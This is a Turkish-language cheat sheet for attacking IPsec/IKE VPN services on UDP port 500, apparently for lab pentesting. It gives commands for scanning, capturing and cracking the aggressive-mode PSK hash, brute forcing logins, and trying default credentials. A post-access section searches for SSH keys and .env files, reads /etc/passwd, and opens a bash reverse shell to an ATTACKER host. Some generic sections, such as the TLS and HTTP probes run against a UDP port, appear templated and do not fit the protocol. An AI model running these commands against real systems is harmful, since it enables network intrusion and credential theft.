500/udp - Pentesting IPsec/IKE VPN

IKE vpn

IKE aggressive mode PSK hash sızdırır; offline crack + XAUTH ile VPN erişimi. Hedef lab IP’si üzerinde komutları 500 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. UDP/500/4500.

2. ike-scan aggressive.

3. PSK crack.

4. XAUTH/VPN connect.

Keşif

nmap -Pn -sU -p500,4500 TARGET

ike-scan TARGET

ike-scan -A -Ppsk.txt TARGET

Crack

psk-crack -d rockyou.txt psk.txt

hashcat -m 4800 ike.hash rockyou.txt

Connect

strongswan / vpnc with cracked PSK + XAUTH

icmptunnel / ping internal

Derin enum

/udp - IPsec/IKE VPN için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p500 TARGET

nmap -Pn -p500 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:500' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',500));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → /udp - IPsec/IKE VPN

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 500 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 500

nmap -p500 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit IKE

msfconsole -q -x 'search IKE; exit'

nuclei -u https://TARGET:500 -t cves/ -silent -severity || true

nuclei -u http://TARGET:500 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 500

printf '
' | timeout 3 nc -nv TARGET 500

curl -vk --http1.0 http://TARGET:500/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

ike-scan → PSK hash → crack → VPN → internal